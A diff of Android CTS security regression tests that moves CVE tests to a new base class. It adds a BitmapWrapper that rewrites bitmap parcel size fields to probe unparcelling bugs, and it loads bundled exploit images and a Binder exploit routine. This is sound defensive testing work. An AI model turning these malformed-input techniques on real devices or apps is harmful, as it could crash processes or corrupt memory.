--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -18,14 +18,19 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
-public class BigRleTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class BigRleTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
      *
@@ -33,8 +38,9 @@
      * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
     @AsbSecurityTest(cveBugId = 33251605)
+    @Test
     public void test_android_bug_33251605() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index 7516e5b..aa7a360 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -40,8 +40,8 @@
 import java.io.InputStreamReader;
 
 import static org.junit.Assert.assertTrue;
-import android.test.AndroidTestCase;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 import android.platform.test.annotations.AsbSecurityTest;
 
 import java.util.ArrayList;
@@ -53,9 +53,14 @@
 import android.system.ErrnoException;
 import android.widget.TextView;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import java.io.File;
 import java.util.List;
 
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 class Exchange extends IBinderExchange.Stub {
     IBinder binder;
     BinderExploitTest.CVE_2019_2213_Activity xpl;
@@ -97,7 +102,8 @@
     public native void runxpl(String pipedir);
 }
 
-public class BinderExploitTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BinderExploitTest extends StsExtraBusinessLogicTestCase {
 
     static final String TAG = BinderExploitTest.class.getSimpleName();
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -115,6 +121,7 @@
      * b/141496757
      */
     @AsbSecurityTest(cveBugId = 133758011)
+    @Test
     public void testPoc_cve_2019_2213() throws Exception {
         Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
 
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 444b110..9b9ea1f 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -18,14 +18,18 @@
 
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
-
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.*;
 import android.security.cts.R;
 
 import java.io.BufferedInputStream;
 import java.io.InputStream;
 
-public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase {
     /*
      * This test case reproduces the bug in CVE-2015-1532.
      * It verifies that the BitmapFactory:decodeStream method is not vulnerable
@@ -33,23 +37,26 @@
      * npTc chunk.
      */
     @AsbSecurityTest(cveBugId = 19151999)
+    @Test
     public void testNinePatchHeapOverflow() throws Exception {
-        InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2015_1532));
         BitmapFactory.decodeStream(inStream);
 
     }
 
     @AsbSecurityTest(cveBugId = 36724453)
+    @Test
     public void testPocCVE_2017_0691() throws Exception {
-        InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2017_0691));
         BitmapFactory.decodeStream(exploitImage);
     }
 
     @AsbSecurityTest(cveBugId = 65290323)
+    @Test
     public void test_b65290323() throws Exception {
-        InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.b65290323));
         BitmapFactory.decodeStream(exploitImage);
     }
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index b1de686..c77b7dd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -16,10 +16,15 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
+import android.content.Context;
 import android.graphics.BitmapFactory;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.io.FileDescriptor;
@@ -27,13 +32,16 @@
 import java.io.InputStream;
 
 import java.lang.Exception;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import android.security.cts.R;
 
-public class BitmapFactorySecurityTests extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase {
     private FileDescriptor getResource(int resId) {
         try {
-            InputStream is = mContext.getResources().openRawResource(resId);
+            InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId);
             assertNotNull(is);
             File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
             file.deleteOnExit();
@@ -58,6 +66,7 @@
      * Verifies that decoding a corrupt ICO does crash.
      */
     @AsbSecurityTest(cveBugId = 38116746)
+    @Test
     public void test_android_bug_38116746() {
         FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
         try {
@@ -74,6 +83,7 @@
      * Verifies that decoding a corrupt BMP does crash.
      */
     @AsbSecurityTest(cveBugId = 37627194)
+    @Test
     public void test_android_bug_37627194() {
         FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
         try {
@@ -84,6 +94,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 156261521)
+    @Test
     public void test_android_bug_156261521() {
         // Previously decoding this would crash.
         FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 0000000..c532e05
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+    private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+        @Override
+        public int getAllocationSize(BitmapWrapper wrapper) {
+            return wrapper.getBitmap().getAllocationByteCount();
+        }
+
+        @Override
+        public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+            return true;
+        }
+
+
+        @Override
+        public boolean ping() {
+            return true;
+        }
+    };
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb139..5ce81fd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,89 @@
 
 package android.security.cts;
 
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
 @RunWith(AndroidJUnit4.class)
-public class BitmapTest {
+public class BitmapTest extends StsExtraBusinessLogicTestCase {
+
+    private Instrumentation mInstrumentation;
+    private PeerConnection mRemoteConnection;
+    private IBitmapService mRemote;
+
+    public static class PeerConnection extends AbstractFuture<IBitmapService>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(IBitmapService.Stub.asInterface(service));
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public IBitmapService get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @After
+    public void tearDown() {
+        if (mRemoteConnection != null) {
+            final Context context = mInstrumentation.getContext();
+            context.unbindService(mRemoteConnection);
+            mRemote = null;
+            mRemoteConnection = null;
+        }
+    }
+
+    IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+        if (mRemote == null) {
+            final Context context = mInstrumentation.getContext();
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(
+                    "android.security.cts", "android.security.cts.BitmapService"));
+            mRemoteConnection = new PeerConnection();
+            context.bindService(intent, mRemoteConnection,
+                    Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+            mRemote = mRemoteConnection.get();
+        }
+        return mRemote;
+    }
+
     /**
      * Test Bitmap.createBitmap properly throws OOME on large inputs.
      *
@@ -39,4 +112,102 @@
         // which might be passed to createBitmap from a Java decoder.
         Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
     }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_inplace_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 500KiB; larger than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the blob size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_ashmem_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+                        .createAshmemBitmap());
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to be larger than the initial size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be smaller
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 100);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 0000000..dbcf498
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+    enum Field {
+        DataSize,
+        Height,
+        RowBytes,
+    }
+
+    private final Bitmap mBitmap;
+    private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+    public BitmapWrapper(Bitmap bitmap) {
+        mBitmap = bitmap;
+    }
+
+    private BitmapWrapper(Parcel in) {
+        mBitmap = Bitmap.CREATOR.createFromParcel(in);
+    }
+
+    public Bitmap getBitmap() {
+        return mBitmap;
+    }
+
+    public BitmapWrapper reset() {
+        mReplaceFields.clear();
+        return this;
+    }
+
+    public BitmapWrapper replace(Field field, int newValue) {
+        mReplaceFields.put(field, newValue);
+        return this;
+    }
+
+    @Override
+    public int describeContents() {
+        return mBitmap.describeContents();
+    }
+
+    @Override
+    public void writeToParcel(@NonNull Parcel dest, int flags) {
+        final int before = dest.dataPosition();
+        mBitmap.writeToParcel(dest, flags);
+        final int oldEnd = dest.dataPosition();
+        if (!mReplaceFields.isEmpty()) {
+            dest.setDataPosition(before
+                    + 4 /* immutable */
+                    + 4 /* colortype */
+                    + 4 /* alpha type */);
+            // Skip sizeof colorspace
+            int colorSpaceLen = dest.readInt();
+            dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+            Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+            Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.Height)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.Height));
+            }
+            Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.RowBytes)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.RowBytes));
+            }
+            Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+            int type = dest.readInt();
+            if (type == 0) { // in-place
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                    int newEnd = dest.dataPosition() + dataSize;
+                    dest.setDataSize(newEnd);
+                    dest.setDataPosition(newEnd);
+                } else {
+                    int skip = dest.readInt();
+                    dest.setDataPosition(dest.dataPosition() + skip);
+                }
+            } else if (type == 1) { // ashmem
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                }
+                dest.setDataPosition(oldEnd);
+            } else {
+                Assert.fail("Unknown type " + type);
+            }
+        }
+    }
+
+    public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+            new Parcelable.Creator<BitmapWrapper>() {
+        public BitmapWrapper createFromParcel(Parcel in) {
+            return new BitmapWrapper(in);
+        }
+
+        public BitmapWrapper[] newArray(int size) {
+            return new BitmapWrapper[size];
+        }
+    };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 4810703..a15ab42 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -20,13 +20,18 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class BluetoothIntentsTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
   /**
    * b/35258579
    */
   @AsbSecurityTest(cveBugId = 35258579)
+  @Test
   public void testAcceptIntent() {
     genericIntentTest("ACCEPT");
   }
@@ -35,6 +40,7 @@
    * b/35258579
    */
   @AsbSecurityTest(cveBugId = 35258579)
+  @Test
   public void testDeclineIntent() {
       genericIntentTest("DECLINE");
   }
@@ -47,7 +53,7 @@
           new ComponentName("com.android.bluetooth",
             "com.android.bluetooth.opp.BluetoothOppReceiver"));
       should_be_protected_broadcast.setAction(prefix + action);
-      mContext.sendBroadcast(should_be_protected_broadcast);
+      getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
     }
     catch (SecurityException e) {
       return;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 6625c9e..f85ec3f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -28,6 +28,8 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -35,7 +37,7 @@
 import static org.junit.Assume.*;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2020_0294 {
+public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "CVE_2020_0294";
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index deb7c40..14cb7ce 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -31,11 +31,13 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0309 {
+public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase {
     private final Context mContext = InstrumentationRegistry.getContext();
     boolean isVulnerable = true;
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 13076ba..44bbc01 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -24,13 +24,14 @@
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0327 {
+public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase {
 
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
     private static final String TAG = "CVE_2021_0327";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5335a42..98b8de8 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -31,6 +31,9 @@
 import android.util.Log;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -38,7 +41,7 @@
 import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0339 {
+public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase {
 
     static final String TAG = CVE_2021_0339.class.getSimpleName();
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
new file mode 100644
index 0000000..130dce5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateFactory;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Vector;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.CertificateException;
+
+// Taken reference from
+// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java
+class CVE_2021_0341_SSLSession implements SSLSession {
+
+    private byte[] idData;
+    private String nameHost = null;
+    private int namePort = -1;
+    private Hashtable table;
+    private boolean invalidateDone = false;
+    private Certificate[] certs = null;
+    private javax.security.cert.X509Certificate[] xCerts = null;
+
+    public CVE_2021_0341_SSLSession(Certificate[] xc)
+            throws CertificateEncodingException, CertificateException {
+        certs = xc;
+        xCerts = new javax.security.cert.X509Certificate[xc.length];
+        int i = 0;
+        for (Certificate cert : xc) {
+            xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded());
+        }
+    }
+
+    public int getApplicationBufferSize() {
+        return 1234567;
+    }
+
+    public String getCipherSuite() {
+        return "SuiteName";
+    }
+
+    public long getCreationTime() {
+        return 1000L;
+    }
+
+    public byte[] getId() {
+        return idData;
+    }
+
+    public long getLastAccessedTime() {
+        return 2000L;
+    }
+
+    public Certificate[] getLocalCertificates() {
+        return null;
+    }
+
+    public Principal getLocalPrincipal() {
+        return null;
+    }
+
+    public int getPacketBufferSize() {
+        return 12345;
+    }
+
+    public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException {
+        assumeFalse("peer not authenticated", (certs == null));
+        return certs;
+    }
+
+    public javax.security.cert.X509Certificate[] getPeerCertificateChain()
+            throws SSLPeerUnverifiedException {
+        assumeFalse("peer not authenticated", (xCerts == null));
+        return xCerts;
+    }
+
+    public String getPeerHost() {
+        return nameHost;
+    }
+
+    public int getPeerPort() {
+        return namePort;
+    }
+
+    public Principal getPeerPrincipal() throws SSLPeerUnverifiedException {
+        return null;
+    }
+
+    public String getProtocol() {
+        return "ProtocolName";
+    }
+
+    public SSLSessionContext getSessionContext() {
+        return null;
+    }
+
+    public void putValue(String s, Object obj) {
+        assumeFalse("arguments can not be null", (s == null || obj == null));
+        Object obj1 = table.put(s, obj);
+        if (obj1 instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent);
+        }
+        if (obj instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1);
+        }
+    }
+
+    public void removeValue(String s) {
+        assumeFalse("argument can not be null", (s == null));
+        Object obj = table.remove(s);
+        if (obj instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent);
+        }
+    }
+
+    public Object getValue(String s) {
+        assumeFalse("argument can not be null", (s == null));
+        return table.get(s);
+    }
+
+    public String[] getValueNames() {
+        Vector vector = new Vector();
+        Enumeration enumeration = table.keys();
+        while (enumeration.hasMoreElements()) {
+            vector.addElement(enumeration.nextElement());
+        }
+        String as[] = new String[vector.size()];
+        vector.copyInto(as);
+        return as;
+    }
+
+    public void invalidate() {
+        invalidateDone = true;
+    }
+
+    public boolean isValid() {
+        return invalidateDone;
+    }
+}
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0341 {
+
+    public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n"
+            + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n"
+            + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n"
+            + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+            + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n"
+            + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n"
+            + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n"
+            + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n"
+            + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n"
